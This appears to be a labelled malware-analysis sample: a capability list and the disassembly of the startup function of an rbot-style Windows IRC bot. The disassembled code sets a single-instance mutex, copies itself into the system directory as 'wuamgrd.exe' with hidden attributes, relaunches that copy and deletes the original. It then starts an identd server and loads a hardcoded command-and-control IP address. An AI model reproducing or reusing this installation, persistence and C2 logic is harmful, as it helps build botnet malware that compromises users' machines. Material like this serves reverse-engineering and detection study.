Function at 0x41633c
Capabilities:
Check for time delay via gettickcount
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9d8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x5b8], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0x408430
mov eax, dword [ebp - 0x1c]
push eax
push dword fs:[0]
mov dword fs:[0], esp
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov edx, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
mov dword [0x473be4], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.00403129
call fcn.0040d28c
mov eax, dword [0x44ecc0]
mov dword [esp], 2
call eax
sub esp, 4
mov dword [esp + 8], 0x43cf00
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x7530
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
cmp eax, 0x102
sete al
test al, al
je 0x41640f
mov dword [esp], 1
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov edx, dword [0x44ed8c]
lea eax, [ebp - 0x748]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call edx
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne al
test al, al
je 0x416443
mov eax, 0
jmp 0x416c2b
movzx eax, word [ebp - 0x748]
cmp al, 2
jne 0x41645d
movzx eax, word [ebp - 0x748]
shr ax, 8
cmp al, 2
je 0x41646e
mov eax, dword [0x44eda4]
call eax
mov eax, 0
jmp 0x416c2b
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x5b4]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x4b0]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x2a8]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1a8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__splitpath]
call eax
lea eax, [ebp - 0x2a8]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1a8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4420a8
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x3ac]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
lea eax, [ebp - 0x5b4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x416808
mov eax, dword [0x44fac0]
test eax, eax
je 0x4165a1
mov dword [ebp - 0xc], 0
mov dword [esp], str.wuamgrd.exe
call sub.msvcrt.dll_strlen
lea edx, [eax - 4]
mov eax, dword [ebp - 0xc]
cmp edx, eax
jbe 0x4165a1
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
add eax, 0x61
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, str.wuamgrd.exe
mov byte [eax], dl
add dword [ebp - 0xc], 1
jmp 0x416553
mov dword [esp + 0xc], str.wuamgrd.exe
lea eax, [ebp - 0x5b4]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x960]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x960]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
setne al
test al, al
je 0x416601
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0x960]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x960]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x41666c
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0
jne 0x41666c
cmp dword [ebp - 0x20], 0x20
je 0x416652
cmp dword [ebp - 0x20], 5
jne 0x41666c
mov dword [ebp - 0x18], 1
mov dword [esp], 0x3a98
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x416608
lea eax, [ebp - 0x960]
mov dword [esp], eax
call fcn.0040f4bd
mov dword [esp + 4], 7
lea eax, [ebp - 0x960]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x758]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x9a4]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x998], 0x441da9
mov dword [ebp - 0x9a4], 0x44
mov dword [ebp - 0x978], 1
mov word [ebp - 0x974], 5
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], 0x100000
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x4b0]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x960]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__d___s_
lea eax, [ebp - 0x85c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x758]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x9a4]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x5b4]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x85c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x960]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
setne al
test al, al
je 0x416808
mov dword [esp], 0xc8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x758]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x754]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [0x44eda4]
call eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
call fcn.004031d4
mov dword [esp], str.Debugging_console_enabled._n
call sub.msvcrt.dll_puts
mov eax, dword [sym.imp.msvcrt.dll___argc]
mov eax, dword [eax]
cmp eax, 2
jle 0x41689e
mov eax, dword [sym.imp.msvcrt.dll___argv]
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x28], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [sym.imp.msvcrt.dll___argv]
mov eax, dword [eax]
add eax, 8
mov eax, dword [eax]
test eax, eax
je 0x41689e
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [sym.imp.msvcrt.dll___argv]
mov eax, dword [eax]
add eax, 8
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov eax, dword [0x44fac4]
test eax, eax
je 0x4168be
mov eax, dword [0x44eec4]
test eax, eax
jne 0x4168be
lea eax, [ebp - 0x3ac]
mov dword [esp], eax
call fcn.00403340
lea eax, [ebp - 0xa8]
mov dword [eax], 0x49414d5b
mov dword [eax + 4], 0x203a5d4e
mov dword [eax + 8], 0x20746f42
mov dword [eax + 0xc], 0x72617473
mov dword [eax + 0x10], 0x2e646574
mov byte [eax + 0x14], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call fcn.0042a908
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call fcn.00402bae
mov dword [esp + 8], 0xb80
mov dword [esp + 4], 0
mov dword [esp], 0x473060
call sub.msvcrt.dll_memset
mov dword [esp], 2
call fcn.0042ad8a
test eax, eax
sete al
test al, al
je 0x416a4e
lea eax, [ebp - 0xa8]
mov dword [eax], 0x4544495b
mov dword [eax + 4], 0x5d44544e
mov dword [eax + 8], 0x6553203a
mov dword [eax + 0xc], 0x72657672
mov dword [eax + 0x10], 0x6e757220
mov dword [eax + 0x14], 0x676e696e
mov dword [eax + 0x18], 0x206e6f20
mov dword [eax + 0x1c], 0x74726f50
mov dword [eax + 0x20], 0x3131203a
mov word [eax + 0x24], 0x2e33
mov byte [eax + 0x26], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 2
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x5b8]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40c068
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x234
add eax, 0x44fe74
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
sete al
test al, al
je 0x416a40
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._IDENTD_:_Failed_to_start_server__error:___d_.
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0xa8]
mov dword [esp], eax
call fcn.00402bae
call sub.msvcrt.dll_rand
and eax, 3
mov dword [0x473be8], eax
mov dword [esp + 8], 0x7f
mov dword [esp + 4], str.143.215.130.199
mov dword [esp], 0x44fae4
call sub.msvcrt.dll_strncpy
mov eax, dword [0x43cea0]
mov dword [0x44fc34], eax
mov dword [esp + 8], 0x3f
mov dword [esp + 4], str.rbot2
mov dword [esp], 0x44fb64
call sub.msvcrt.dll_strncpy
mov dword [esp + 8], 0x3f
mov dword [esp + 4], 0x44fac9
mov dword [esp], 0x44fba4
call sub.msvcrt.dll_strncpy
mov dword [0x44fc38], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 5
jg 0x416b1c
mov dword [0x473be0], 0
mov dword [esp], 0x44fae0
call fcn.00416c2f
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
sete al
test al, al
jne 0x416b1b
mov eax, dword [0x473be0]
test eax, eax
je 0x416b04
sub dword [ebp - 0xc], 1
mov dword [esp], 0xbb8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
jmp 0x416aca
nop
cmp dword [ebp - 0x10], 2
je 0x416c19
cmp dword [ebp - 0x14], 0
je 0x416b96
mov dword [esp + 8], 0x7f
mov dword [esp + 4], str.143.215.130.199
mov dword [esp], 0x44fae4
call sub.msvcrt.dll_strncpy
mov eax, dword [0x43cea0]
mov dword [0x44fc34], eax
mov dword [esp + 8], 0x3f
mov dword [esp + 4], str.rbot2
mov dword [esp], 0x44fb64
call sub.msvcrt.dll_strncpy
mov dword [esp + 8], 0x3f
mov dword [esp + 4], 0x44fac9
mov dword [esp], 0x44fba4
call sub.msvcrt.dll_strncpy
mov dword [ebp - 0x14], 0
jmp 0x416ac3
cmp dword [ebp - 0x14], 0
jne 0x416ac3
movzx eax, byte [0x44faca]
test al, al
je 0x416ac3
mov dword [esp + 8], 0x7f
mov dword [esp + 4], 0x44faca
mov dword [esp], 0x44fae4
call sub.msvcrt.dll_strncpy
mov eax, dword [0x43cea4]
mov dword [0x44fc34], eax
mov dword [esp + 8], 0x3f
mov dword [esp + 4], 0x44facb
mov dword [esp], 0x44fb64
call sub.msvcrt.dll_strncpy
mov dword [esp + 8], 0x3f
mov dword [esp + 4], 0x44facc
mov dword [esp], 0x44fba4
call sub.msvcrt.dll_strncpy
mov dword [ebp - 0x14], 1
jmp 0x416ac3
nop
call fcn.0042ac91
mov eax, dword [0x44eda4]
call eax
mov eax, 0
leave
ret 0x10